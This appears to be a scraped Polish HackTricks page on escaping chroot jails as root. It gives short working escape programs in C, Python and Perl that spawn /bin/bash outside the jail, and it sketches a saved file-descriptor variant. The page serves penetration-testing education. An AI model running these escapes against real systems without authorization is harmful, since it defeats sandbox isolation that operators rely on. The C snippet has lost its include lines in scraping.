Escaping from Jails

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

GTFOBins

Szukaj w https://gtfobins.github.io/ czy możesz wykonać dowolny plik binarny z właściwością "Shell"

Ucieczki z Chroot

Z wikipedia: Mechanizm chroot nie jest przeznaczony do obrony przed celowym manipulowaniem przez uprzywilejowanych (root) użytkowników. Na większości systemów konteksty chroot nie są odpowiednio stosowane i chrootowane programy z wystarczającymi uprawnieniami mogą wykonać drugi chroot, aby się wydostać. Zazwyczaj oznacza to, że aby uciec, musisz być rootem wewnątrz chroot.

Narzędzie chw00t zostało stworzone do nadużywania poniższych scenariuszy i ucieczki z chroot.

Root + CWD

Jeśli jesteś rootem wewnątrz chroot, możesz uciec, tworząc inny chroot. Dzieje się tak, ponieważ 2 chrooty nie mogą istnieć obok siebie (w systemie Linux), więc jeśli utworzysz folder, a następnie utworzysz nowy chroot w tym nowym folderze będąc na zewnątrz niego, będziesz teraz na zewnątrz nowego chroot i w rezultacie będziesz w systemie plików.

Dzieje się tak, ponieważ zazwyczaj chroot NIE przenosi twojego bieżącego katalogu do wskazanego, więc możesz utworzyć chroot, ale być poza nim.

Zazwyczaj nie znajdziesz binarnego chroot wewnątrz więzienia chroot, ale możesz skompilować, przesłać i wykonać binarny:

C: break_chroot.c

```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }

</details>

<details>

<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl

```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ``` ### Root + Zapisany fd

To jest podobne do poprzedniego przypadku, ale w tym przypadku atakujący przechowuje deskryptor pliku do bieżącego katalogu, a następnie tworzy chroot w nowym folderze. W końcu, ponieważ ma dostęp do tego FD na zewnątrz chroot, uzyskuje do niego dostęp i ucieka.

Last updated